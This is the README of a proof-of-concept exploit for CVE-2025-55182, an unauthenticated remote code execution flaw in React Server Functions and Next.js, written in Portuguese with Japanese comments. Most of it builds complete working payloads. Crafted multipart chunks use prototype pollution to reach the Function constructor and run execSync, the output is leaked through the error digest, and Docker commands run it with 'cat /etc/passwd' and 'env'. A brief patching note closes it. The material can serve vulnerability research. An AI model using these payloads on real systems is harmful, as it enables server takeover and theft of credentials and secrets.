
Prova de conceito de exploit para CVE-2025-55182, uma vulnerabilidade de execução remota de código em React Server Functions (Next.js). Demonstra poluição de protótipo que leva à execução arbitrária de código não autenticada por meio de requisições HTTP elaboradas.
Prova de conceito da vulnerabilidade de execução remota de código (RCE) em React Server Functions (Next.js, entre outros). Explora a poluição de protótipo para executar código arbitrário no servidor sem autenticação.
Aviso: Este repositório é apenas para fins educacionais e de pesquisa. É estritamente proibido o uso indevido.
No processo de desserialização do React Flight Protocol, a validação da cadeia de protótipos é insuficiente.
Isso permite acessar o construtor Function por meio de __proto__ e executar código JavaScript arbitrário.
É a forma mais simples de verificação.
# 1. 脆弱なNext.jsサーバーを起動
docker compose up -d --build
# 1. エクスプロイトを実行(デフォルト: idコマンド)
docker compose run --rm poc
# 4. カスタムコマンドを実行
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc
# 5. サーバーを停止
docker-compose down
É um recurso de API do lado do servidor oferecido pelo Next.js, entre outros.
// Server Action(サーバー側でのみ実行される関数)
async function submitForm(formData) {
'use server' // ← サーバー関数の宣言
// データベース操作など、サーバー側の処理
const result = await db.insert(formData)
return result
}
Quando chamada a partir do cliente:
O cliente envia os dados em unidades chamadas de "chunks":
files = {
"0": (None, '["$1"]'), # チャンク0: チャンク1への参照
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # チャンク1: チャンク2のfruitNameを参照
"2": (None, '{"fruitName":"cherry"}'), # チャンク2: 実際のデータ
}
Quando desserializado no lado do servidor:
{ object: 'fruit', name: 'cherry' }
O ponto-chave é que os chunks podem fazer referência cruzada entre si.
Antes do commit de correção, ao resolver referências de chunks, não era verificado se a chave existia de fato no objeto.
Isso permite acessar a cadeia de protótipos.
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Processo de resolução da referência:
チャンク1のオブジェクト → __proto__ → constructor → constructor → Function
Resultado:
[Function: Function] // Functionコンストラクタを取得!
Transforma o chunk 0 em um objeto e define a propriedade then como o construtor Function:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Código do Next.js (action-handler.ts:888, antes do patch):
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Esse await, ao tentar chamar o objeto cujo then é o construtor Function, gera um erro:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
O construtor Function foi obtido, mas como fazer com que execute código arbitrário?
O que é necessário:
Ideia de maple3142: criar um "chunk falso" em que o chunk 0 referencia a si mesmo.
files = {
"0": (None, '{"then": "$1:__proto__:then"}'), # 自分のthenをChunk.prototype.thenで上書き
"1": (None, '"$@0"'), # $@0 = チャンク0の「生」の表現
}
A sintaxe $@ retorna o "chunk bruto", em vez do valor resolvido:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Resultado: o then do chunk 0 é substituído por Chunk.prototype.then.
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this); // ← ここに入る
}
// ...
}
Ao definir status: "resolved_model" no chunk falso, initializeModelChunk é chamado:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Internamente, em initializeModelChunk:
function initializeModelChunk(chunk) {
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
}
Aqui ocorre a segunda avaliação.
Processamento de blob do React Flight Protocol (prefixo $B):
case "B":
return (
obj = parseInt(value.slice(2), 16),
response._formData.get(response._prefix + obj) // ← ここを悪用
);
Manipula o _response do chunk falso para definir _formData.get como o construtor Function e _prefix como o código a ser executado:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1, # toString()でエラーにならないように
"value": '{"then": "$B0"}', # blob参照でthenを設定
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor", # Functionコンストラクタ
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Fluxo de execução:
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// この関数がawaitされて呼び出される → コード実行!
O poc.py implementa o payload descrito acima e extrai o resultado da execução do comando a partir da mensagem de erro:
# コマンド出力をエラーのdigestフィールドに埋め込む
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
Basta definir o cabeçalho HTTP Next-Action: x para que o ataque seja bem-sucedido:
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)
Importante: Este ataque ocorre durante a desserialização e, portanto, é executado antes da validação da ação (getActionModIdOrError).
Atualize imediatamente: Atualize o React e o Next.js para as versões mais recentes
npm update react react-dom next
Verifique as versões:
npm list react next
WAF/Medidas de segurança:
Next-Action